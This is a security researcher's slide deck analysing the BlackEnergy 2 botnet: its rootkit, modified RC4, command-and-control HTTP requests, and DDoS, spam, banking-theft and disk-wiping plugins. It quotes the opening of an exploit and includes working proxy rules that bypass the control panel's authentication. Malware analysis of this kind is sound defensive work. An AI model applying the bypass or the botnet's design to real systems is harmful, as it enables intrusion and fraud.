BlackEnergy 2 Revealed

Joe Stewart
Director of Malware Research
SecureWorks Counter Threat Unit
Introduction

• BlackEnergy v1
  – Very popular Russian DDoS bot
  – Authored by Cr4sh (Crash) of Hell Knights crew
  – Originally sold, freely downloadable copies found all over now
  – Last known version: 1.92
  – Some variants have bundled rootkit add-on
Introduction

- BlackEnergy v2
  - In development since August 2008
  - Very limited distribution throughout 2008-2009
  - Program name unconfirmed, but author is the same
  - Rootkit/kernel module is now core of system
  - New modular construction
BE2 Unpacking and Injection

BlackEnergy 2 Rootkit Injection

Dropper EXE

User Memory

Kernel Memory

Rootkit Decrypter

Rootkit Decrypter

Main DLL

Rootkit

XML Configuration

XML
**BE2 Dropper Characteristics 1**

- LZ77 compression used throughout
- Modified RC4 encryption
  - Simplified KSA
  - Less secure than real RC4

```plaintext
for i from 0 to 255
    S[i] := i
endfor

j := 0
for i from 0 to 255
    j := (j + S[i] + key[i mod key length]) mod 256
    swap(&S[i], &S[j])
endfor
```

**RC4 Key Scheduling Algorithm**

```plaintext
for i from 0 to 255
    S[i] := i
endfor

for i from 0 to 255
    S[i] := S[i] xor key[i mod key length]
endfor
```

**BE2 Key Scheduling Algorithm**
BE2 Dropper Characteristics 2

• MS08-025 exploit bundled into dropper
  – Privilege escalation, in case user is running with limited rights
  – Code is directly traceable to PoC by Cr4sh:

```c
/*
   MS08-025 PoC Exploit
   http://www.microsoft.com/technet/security/Bulletin/MS08-025.mspx
   (x) Cr4sh/0x84k, May 2008
*/
#include "stdafx.h"

#define PAGE_SIZE 0x1000

DWORD SDT_NtUserMessageCall = 0;
NUMB_KTPBFDN PreviousMode = 0;
```
BE2 Kernel Driver Functions

- Injection of main BE2 module into userspace svchost.exe process
- Hide objects in memory/on disk/in registry
  - Hooks SSDT and replaces API addresses with own handler functions
  - Provides method for BE2 modules to bypass its hooks
  - RulesData registry key defines which objects should be hidden

<table>
<thead>
<tr>
<th>Code</th>
<th>Persistent</th>
<th>Protected Object Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x01</td>
<td>No</td>
<td>Process</td>
</tr>
<tr>
<td>0x02</td>
<td>Yes</td>
<td>File</td>
</tr>
<tr>
<td>0x03</td>
<td>Yes</td>
<td>Registry Key</td>
</tr>
<tr>
<td>0x04</td>
<td>Yes</td>
<td>Registry Value</td>
</tr>
<tr>
<td>0x07</td>
<td>No</td>
<td>Virtual Memory Range</td>
</tr>
<tr>
<td>0x08</td>
<td>No</td>
<td>Thread</td>
</tr>
</tbody>
</table>
# BE2 IOCTL Codes

<table>
<thead>
<tr>
<th>Code</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x01</td>
<td>Add a new protected process to the ruleset</td>
</tr>
<tr>
<td>0x02</td>
<td>Add a new protected file to the ruleset</td>
</tr>
<tr>
<td>0x03</td>
<td>Add a new protected registry key to the ruleset</td>
</tr>
<tr>
<td>0x04</td>
<td>Add a new protected registry value to the ruleset</td>
</tr>
<tr>
<td>0x05</td>
<td>Hide a process by unlinking it from the kernel’s process list</td>
</tr>
<tr>
<td>0x06</td>
<td>Load a new driver into kernel memory</td>
</tr>
<tr>
<td>0x07</td>
<td>Add a new protected memory range to the ruleset</td>
</tr>
<tr>
<td>0x08</td>
<td>Add a new protected object to the ruleset</td>
</tr>
<tr>
<td>0x09</td>
<td>Uninstall rootkit</td>
</tr>
<tr>
<td>0x0a</td>
<td>Add a new library to the injection list</td>
</tr>
<tr>
<td>0x0b</td>
<td>Remove a library from the injection list</td>
</tr>
<tr>
<td>0x0c</td>
<td>Add a new process to the injection target list</td>
</tr>
<tr>
<td>0x0d</td>
<td>Remove a process from the injection target list</td>
</tr>
<tr>
<td>0x0e</td>
<td>Register control process PID</td>
</tr>
<tr>
<td>0x0f</td>
<td>Call to original (non-hooked) NtOpenKey kernel API</td>
</tr>
</tbody>
</table>
BE2 Main Module Functions

• rexec
  – download and execute a remote file
• lexec
  – execute a local command using cmd.exe
• die
  – uninstall BE2
• upd
  – download and install a remote update to BE2
• setfreq
  – change the phone-home interval for the trojan
### BE2 Plugin API

<table>
<thead>
<tr>
<th>Export</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>ConfAllocGetTextByNameA</td>
<td>Functions to retrieve or set variables in the XML configuration</td>
</tr>
<tr>
<td>ConfAllocGetTextByNameW</td>
<td></td>
</tr>
<tr>
<td>ConfGetListNodeByName</td>
<td></td>
</tr>
<tr>
<td>ConfgetNodeByName</td>
<td></td>
</tr>
<tr>
<td>ConfgetNodeTextA</td>
<td></td>
</tr>
<tr>
<td>ConfgetNodeTextW</td>
<td></td>
</tr>
<tr>
<td>ConfGetPlgNode</td>
<td></td>
</tr>
<tr>
<td>ConfGetRootNode</td>
<td></td>
</tr>
<tr>
<td>DownloadFile</td>
<td>Download a remote file</td>
</tr>
<tr>
<td>GetBotIdent</td>
<td>Get the ID string of the bot</td>
</tr>
<tr>
<td>PlgSendEvent</td>
<td>Send a Windows API event</td>
</tr>
<tr>
<td>PlgGetValue PlgSetValue PlgUnsetValue</td>
<td>Read, write or delete registry key values</td>
</tr>
<tr>
<td>RkInjectLibraryAddProcess</td>
<td>Add a new process to the list of userspace injection targets</td>
</tr>
<tr>
<td>RkInjectLibrarySet RkInjectLibraryUnset</td>
<td>Add or remove library to be injected into userspace process</td>
</tr>
<tr>
<td>RkLoadKernelImage</td>
<td>Load a new kernel driver</td>
</tr>
<tr>
<td>RkProtectObject</td>
<td>Protect a memory object</td>
</tr>
<tr>
<td>SrvAddRequestBinaryData</td>
<td>Append binary data to the controller HTTP POST</td>
</tr>
<tr>
<td>SrvAddRequestStringData</td>
<td>Append text variable to the controller HTTP POST</td>
</tr>
<tr>
<td>SrvSendRequestNow</td>
<td></td>
</tr>
</tbody>
</table>
BE2 Embedded Configuration File

- XML-based initial configuration is embedded inside the main DLL module
- Contains information on how/when to contact control server

```xml
<?xml version="1.0" encoding="windows-1251" ?>
<kernel>
  <servers>
    <server>
      <type>http</type>
      <addr>http://example.com/getcfg.php</addr>
    </server>
  </servers>
  <cmds>
    <sleepfreq>30</sleepfreq>
    <build_id>1</build_id>
  </cmds>
</kernel>
```
• Communication resembles BE v1:

```
POST /stat.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Host: example.com
Content-Length: 33
Cache-Control: no-cache
d=xCOMP_3FA21CD8&build_id=1
```

BlackEnergy v1 HTTP POST

```
POST /getcfg.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)
Host: example.com
Content-Length: 43
Pragma: no-cache
d=xCOMP_3FA21CD8&ln=en&cn=US&nt=2600&build_id=1
```

BlackEnergy v2 HTTP POST
More recent variants have an optional encryption setting for HTTP variables:

```
POST /get.cfg.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)
Host: example.com
Content-Length: 126
Pragma: no-cache

sksg=E22EA13DA2170ACCC10CBA67C12ED8CB83774E032FC65BAEC5FA5CD82
6694619FABB69297335C5A91BD02B2C7BB1E5AA0649991F2D6613888AD6749
```
- Response from controller contains further XML configuration specifying plugins to load

```
...<plugins><plugin><name>dos</name><version>1</version></plugin><plugin><name>http</name><version>1</version></plugin><plugin><name>syn</name><version>1</version></plugin></plugins>
...```

Remote configuration also provides parameters to the plugins:

```xml
```
BE2 Plugins

- Known plugin types
  - DDoS
  - Spam
  - Online banking credential theft

- Plugin download request:

```
POST /getCfg.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)
Host: example.com
Content-Length: 43
Pragma: no-cache
get p=ddos&id=xCOMP_3FA21CD8&l n=en&cn=US&nt=2600&bi d=1
```

- Plugins are cached locally in encrypted/protected file “str.sys”
## BE2 DDoS Plugins

<table>
<thead>
<tr>
<th>Plugin Name</th>
<th>Module Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ddos</td>
<td>ddos.dll</td>
<td>A general-purpose plugin to launch random TCP, UDP, ICMP and HTTP attack traffic against a target, using the parameters supplied in the remote XML configuration file.</td>
</tr>
<tr>
<td>syn</td>
<td>syn.dll</td>
<td>Loads a kernel driver that can flood a target with TCP SYN packets. Because the attack originates from the kernel, the SYN packets can be sent quickly and without impacting the TCP state table of the system, which can only maintain a limited number of entries.</td>
</tr>
<tr>
<td>http</td>
<td>http.dll</td>
<td>This plugin uses OLE automation in Internet Explorer to flood a target with HTTP requests. While slower than the socket-based HTTP attack in the &quot;ddos&quot; plugin above, it has the advantage of making it more difficult for a remote site to distinguish attack traffic from normal browsing.</td>
</tr>
</tbody>
</table>
## BE2 Spam Plugin

<table>
<thead>
<tr>
<th>Plugin Name</th>
<th>Module Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>spm_v1</td>
<td>spm_v1.dll</td>
<td>A recompiled version of an older spambot called &quot;Grum&quot; altered to work with the BE2 plugin architecture.</td>
</tr>
</tbody>
</table>

Received: (qmail 2970 by uid 418); Sat, 14 Nov 2009 12:57:53 -0800
Message-Id: <20091114085753.2972.qmail@[redacted].com>
From: <[redacted]@yahoo.com>
To: <[redacted]@netzero.net>
Subject: Re: #Pharma portal 1000 product <a href="http://55378457.resultdeep.com">click here</a>
## BE2 iBank2 Theft Plugin

<table>
<thead>
<tr>
<th>Plugin Name</th>
<th>Module Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>knab</td>
<td>ibank.dll</td>
<td>Steals keys, usernames and passwords from iBank2 Java application used for user authentication by hundreds of banks in Russia and Ukraine</td>
</tr>
<tr>
<td>kill</td>
<td>kill.dll</td>
<td>Overwrites the first 4,096 clusters of the hard disk, deletes ntldr and boot.ini and shuts down system</td>
</tr>
</tbody>
</table>
BlackEnergy Controller Admin Auth Vulnerability

- BE v1.92SE control panel has a bug in PHP control interface authentication step:

```php
<? error_reporting(E_ALL ^ E_NOTICE); session_start(); if (!isset($_SESSION['auth'])) header("location: auth.php"); require_once "config.php"; require_once "MySQL.php";

if (isset($_POST['opt'])) {...
```

PROTIP: If you redirect the browser for lack of authentication, don’t forget to call exit() so the PHP script doesn’t continue to run! :)
BlackEnergy Controller Admin Auth Exploit

• By configuring our HTTP proxy to remove Location: redirect headers, we can simply bypass the authentication step

• Squid:
  – In squid.conf, add:

```text
header_access Location deny all
```

• Privoxy:
  – In user.filter, add:

```text
SERVER-HEADER-FILTER: blackenergy-noauth Ignore auth.php redirects @^(?: Location: )\s.*auth.php$ @Dont go: anywhere @
```

  – In user.action, add:

```text
{ +server-header-filter {blackenergy-noauth} }
```
BlackEnergy v1.92 Control Panel

- Total bots: 4240
- Bots per hour: 7054
- Bots per day: 22906
- Bots for all time: 67576

**Statistics by builds**
- Build: 67572

**Control bots**

**Flooders options**
- ICMP flooder
  - freq: 10
  - packetsize: 2000
- SYN flooder
  - freq: 10
- HTTP-GET flooder
  - freq: 100
  - threads: 30
- UDP and TCP/UDP data flooders
  - UDP/TCP freq: 20
  - UDP size: 1000
  - TCP size: 2000

**Advanced SYN and ICMP options**
- Spoof sender IP: ✔️
- Attack mode: drop by timeout
- Max sessions: 100 (for 'drop by timeout')

**Command**
- flood syn [help]
BlackEnergy v2.x Control Panel

Pre-release (Testing purposes only).

Welcome!
Server time: 24.11.09/00:55:34

Global statistic

Bot's per hour: 105
Bot's per day: 696
Bot's for all time: 2347
Bot's for all time (with old): 2347

Countries: 73 show statistic by countries
Builds: 5 show statistic by builds
First bot: 24.10.09/21:55:29
reset statistic: for all bots | mark current bots as old

Commands

Add command [ help ]

bot ID's:
(empty - all)
execute on bots (0 - all)
for country: (empty - all)

Allow multiple executions

submit
Cr4sh Photos
Conclusion

• BlackEnergy could be poised to become the next cybercrime toolkit of choice
  – Already one of the most popular DDoS tools
  – With the right plugins, could compete with ZeuS, SpyEye for fraud market
  – Spam capabilities open yet another potential revenue stream or spreading mechanism
  – System stealth == longer bot lifespans == larger botnets
  – Extensible architecture means possibility of any number of other malware modules being developed in the future by third parties

• Currently nowhere near the number of infections by ZeuS, Rustock, Cutwail, etc, but this is definitely one to keep an eye on in months to come
Questions?